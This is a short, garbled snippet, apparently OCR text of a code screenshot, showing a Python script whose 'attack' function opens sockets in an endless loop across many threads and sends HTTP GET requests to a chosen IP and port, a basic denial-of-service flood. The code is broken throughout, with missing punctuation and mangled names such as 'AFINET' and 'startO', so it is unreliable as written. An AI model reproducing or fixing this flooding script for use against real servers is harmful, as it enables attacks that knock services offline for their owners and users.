Content
8 10 11 12 13 14 15 import socket from threading import Thread def attack(ip, port): while True: soC socket .socket (socket.AFINET, socket SOCKSTREAM) soc. connect ((ip, port)) soc. sendto ((‘GET ip ‘HTTP1.1rn) encode(‘ascii’, (ip, port))) if name main ip, port, threads ‘ipstr’, ‘portint’, ‘number of threads int’ for i in range(threads): thread Thread(target attack(ip, port)) thread.startO